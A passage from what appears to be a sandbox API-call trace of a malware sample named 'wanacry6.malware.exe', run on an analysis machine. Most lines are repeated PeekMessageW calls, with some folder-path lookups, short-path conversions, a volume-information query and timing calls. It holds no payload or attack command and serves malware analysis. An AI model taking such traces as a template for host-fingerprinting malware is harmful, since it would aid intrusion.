lpMsg=0xb6216f630) returned 0 [0037.446] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.446] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0037.447] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.447] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.447] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0037.447] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.447] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.447] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.447] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.447] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.447] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.447] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0xb6216f090 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0037.448] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0xb6215f870, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0037.448] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.448] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0xb6216f090 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0037.449] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0xb6215f870, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0037.449] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.449] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0xb6216f090 | out: pszPath="C:\\Program Files") returned 0x0 [0037.449] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0xb6215f870, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0037.450] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.450] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0xb6215f870, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0037.450] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.450] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0xb6215f870, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0037.451] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.451] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0xb6215f870, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0037.451] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.451] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.451] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0037.451] PeekMessageW (in: lpMsg=0xb6216f3a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f3a0) returned 0 [0037.451] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0037.451] PeekMessageW (in: lpMsg=0xb6216f3a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f3a0) returned 0 [0037.452] SetErrorMode (uMode=0x1) returned 0x0 [0037.452] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xb6215f8b0, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0xb6216f8d8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xb6216f8d8*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.452] GetLastError () returned 0x3f0 [0037.452] SetLastError (dwErrCode=0x3f0) [0037.452] GetLastError () returned 0x3f0 [0037.452] SetLastError (dwErrCode=0x3f0) [0037.452] SetErrorMode (uMode=0x0) returned 0x1 [0037.452] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.453] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.454] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.454] QueryPerformanceCounter (in: lpPerformanceCount=0xb6216f8d8 | out: lpPerformanceCount=0xb6216f8d8*=284789667) returned 1 [0037.454] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.454] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.454] QueryPerformanceCounter (in: lpPerformanceCount=0xb6216f8d8 | out: lpPerformanceCount=0xb6216f8d8*=284790284) returned 1 [0037.454] QueryPerformanceFrequency (in: lpFrequency=0xb6216f850 | out: lpFrequency=0xb6216f850) returned 1 [0037.454] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.454] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.454] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.454] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.454] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.455] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.455] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.455] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.455] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.455] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.455] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.456] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.456] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.456] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.456] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.456] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.456] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.456] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.456] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.457] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.457] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.457] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.457] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.457] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.458] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.458] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.458] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.458] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.458] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.458] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.458] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.458] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.458] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.459] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.460] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.461] PeekMessageW (in: 